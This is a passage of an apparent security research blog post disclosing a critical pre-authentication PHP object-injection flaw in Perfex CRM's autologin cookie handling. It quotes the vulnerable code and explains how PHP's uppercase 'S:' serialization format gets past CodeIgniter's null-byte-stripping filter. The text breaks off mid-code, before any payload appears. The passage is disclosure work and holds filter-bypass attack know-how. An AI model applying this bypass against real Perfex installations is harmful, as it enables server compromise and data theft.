\u003ctd\u003e\u003cstrong\u003eCVSS 4.0\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ca href=\"https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\"\u003e10.0 / Critical\u003c/a\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCWE\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eCWE-502: Deserialization of Untrusted Data\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eDisclosure date\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e2026-03-16\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"background\"\u003eBackground\u003ca href=\"#background\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eLast December I was bored and remembered that CodeCanyon still existed. The S in CodeCanyon obviously stands for \u0026ldquo;super verified secure scripts\u0026rdquo;, so I started browsing for interesting apps to poke at. I \u003ca href=\"https://codecanyon.net/category/php-scripts?sort=sales\"\u003esorted by sales\u003c/a\u003e\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e and landed on Perfex CRM as my first pick.\u003c/p\u003e\n\u003cp\u003ePerfex CRM is a PHP CRM. It\u0026rsquo;s built on CodeIgniter and handles clients, invoices, projects, support tickets, etc.\u003c/p\u003e\n\u003ch2 id=\"the-vulnerable-call\"\u003eThe vulnerable call\u003ca href=\"#the-vulnerable-call\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eOn the demo instance, the \u003ccode\u003eautologin\u003c/code\u003e cookie looked like serialized PHP data. So I grabbed a copy of the source and sure enough, \u003ccode\u003eAuthentication_model.php\u003c/code\u003e passes it straight into a bare \u003ccode\u003eunserialize()\u003c/code\u003e. Textbook object injection.\u003c/p\u003e\n\u003cp\u003eThe base controller loads the authentication model on every request:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecore/App_Controller.php\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eload\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003emodel\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;authentication_model\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eauthentication_model\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eautologin\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe model\u0026rsquo;s constructor calls it again:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003emodels/Authentication_model.php\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"fm\"\u003e__construct\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eparent\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003e__construct\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eload\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003emodel\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;user_autologin\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eautologin\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003eautologin()\u003c/code\u003e method:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003emodels/Authentication_model.php\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eautologin\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eis_logged_in\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eload\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ehelper\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;cookie\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eget_cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;autologin\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nv\"\u003e$data\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eunserialize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;key\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"k\"\u003eand\u003c/span\u003e \u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;user_id\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe cookie hits \u003ccode\u003eunserialize()\u003c/code\u003e on every request, every route, with no validation.\u003c/p\u003e\n\u003ch2 id=\"the-xss-filter-problem\"\u003eThe XSS filter problem\u003ca href=\"#the-xss-filter-problem\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eMy first payload didn\u0026rsquo;t work. Perfex calls \u003ccode\u003eget_cookie('autologin', true)\u003c/code\u003e, and that second parameter turns on CodeIgniter\u0026rsquo;s XSS filtering:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/bcit-ci/CodeIgniter/blob/3.1-stable/system/helpers/cookie_helper.php#L89-L94\"\u003e\u003ccode\u003esystem/helpers/cookie_helper.php\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eget_cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$index\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$xss_clean\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eis_bool\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$xss_clean\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003eOR\u003c/span\u003e \u003cspan class=\"nv\"\u003e$xss_clean\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econfig_item\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;global_xss_filtering\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"k\"\u003eTRUE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$prefix\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_COOKIE\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$index\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003econfig_item\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;cookie_prefix\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003eget_instance\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003einput\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ecookie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$prefix\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"nv\"\u003e$index\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$xss_clean\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eCodeIgniter\u0026rsquo;s input processing calls \u003ccode\u003eremove_invisible_characters()\u003c/code\u003e, which strips null bytes:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/bcit-ci/CodeIgniter/blob/3.1-stable/system/core/Common.php#L722\"\u003e\u003ccode\u003esystem/core/Common.php\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$non_displayables\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]+/S\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ePrivate properties in PHP serialization use \u003ccode\u003e\\x00ClassName\\x00property\u003c/code\u003e as the key. The null bytes are structural. Strip them and the payload breaks:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003es:17:\u0026#34;\\x00ClassName\\x00prop\u0026#34;  -\u0026gt;  after filter  -\u0026gt;  s:17:\u0026#34;ClassNameprop\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      ^^^^          ^^^^                            (broken, length mismatch)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThat could have been the end of it. But the filter strips bytes from the cookie value, and \u003ccode\u003eunserialize()\u003c/code\u003e is the thing that interprets those bytes. If the unserializer had another way to represent them, one that doesn\u0026rsquo;t use literal null bytes in the wire format, the filter would have nothing to strip.\u003c/p\u003e\n\u003ch2 id=\"the-s-format-bypass\"\u003eThe \u003ccode\u003eS:\u003c/code\u003e format bypass\u003ca href=\"#the-s-format-bypass\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eI cloned php-src\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e and started reading \u003ca href=\"https://github.com/php/php-src/blob/a8543dfdd23f66d65629fd3492d578765d7b6b65/ext/standard/var_unserializer.re\"\u003e\u003ccode\u003evar_unserializer.re\u003c/code\u003e\u003c/a\u003e, the lexer that drives \u003ccode\u003eunserialize()\u003c/code\u003e. The lowercase \u003ccode\u003es:\u003c/code\u003e tag reads string bytes verbatim. A few lines down, an uppercase \u003ccode\u003eS:\u003c/code\u003e variant resolves \u003ccode\u003e\\xx\u003c/code\u003e hex escapes during deserialization, so non-ASCII bytes like null bytes can be written as printable ASCII in the serialized payload.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/php/php-src/blob/a8543dfdd23f66d65629fd3492d578765d7b6b65/ext/standard/var_unserializer.re#L334-L353\"\u003e\u003ccode\u003eext/standard/var_unserializer.re\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;\\\\\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eZSTR_VAL\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;9\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"sc\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"sc\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;F\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"sc\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan 